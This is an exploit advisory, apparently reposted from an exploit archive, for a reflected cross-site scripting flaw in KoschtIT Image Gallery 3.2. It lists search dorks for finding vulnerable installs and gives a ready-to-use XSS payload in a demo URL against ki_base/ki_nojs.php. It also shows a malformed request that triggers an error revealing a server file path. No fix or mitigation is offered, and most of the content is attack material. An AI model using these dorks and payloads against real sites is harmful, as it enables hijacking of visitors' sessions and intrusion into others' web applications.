KoschtIT Image Gallery 3.2 Cross Site Scripting Vulnerability

#########################################################################
#     __              .__                            .__                #
#    |__|____    ____ |__| ______ ___________ _______|__| ____   ______ #
#    |  \__  \  /    \|  |/  ___//  ___/\__  \\_  __ \  |/ __ \ /  ___/ #
#    |  |/ __ \|   |  \  |\___ \ \___ \  / __ \|  | \/  \  ___/ \___ \  #
#/\__|  (____  /___|  /__/____  >____  >(____  /__|  |__|\___  >____  > #
#\______|    \/     \/        \/     \/      \/              \/     \/  #
#                                                 www.janissaries.org   #
##=====================================================================##  

 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 «««:»»»      koschtit_image_gallery(v3.2) Cross Site Scripting             «««:»»»
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ./Title Exploit : KoschtIT Image Gallery Cross Site Scripting [XSS]
 ./WebApps URL   : http://koschtit.tabere.net/en/#download
 ./Author Exploit: [ TheMirkin ] [ [email protected] ] [ All Janissaries ]
 ./Security Risk : [ High Level ]
 ./Category XPL  : [ WebApps]
 ./Time & Date   : 11.12.2014. 09:55 PM.
 ./Tested on: [Windos 8]
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 #################################################################################

 #
 #
 # Dork : inur:ki_nojs.php?gallery
 #    inurl:ki_base
 #
 #    #=> Exploit: Cross Site Scripting [XSS]
 #       This vulnerability affects 
      File : ki_base/ki_nojs.php

 # GET input site was set to ' onmouseover=prompt(956927) bad='
 # Demo: 
 # http://[target]/ki_base/ki_nojs.php?gallery=gallery2&site=%27%20onmouseover%3dprompt%28956927%29%20bad%3d%27&startfrom=1
 # 

 #    #=> Application error message
 # ki_nojs.php?gallery=gallery2&site=/en/&startfrom[]=18
 # http://[target]/ki_base/ki_nojs.php?gallery=gallery2&site=/en/&startfrom[]=18
Fatal error: Unsupported operand types in /home/user/publis_html/script/ki_base/ki_nojs.php on line 365 
 # 
 # 
 # xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx[ Thanks For All ]xxxxxxxxxxxxxxxxxxxxxxxxxxxxx #
 # Special Thanks : Burtay and All Janissaries Team(Burtay,B127Y,Miyachung,3spi0n,TheMirkin,Michelony)
 #################################################################################

#  0day.today [2018-01-10]  #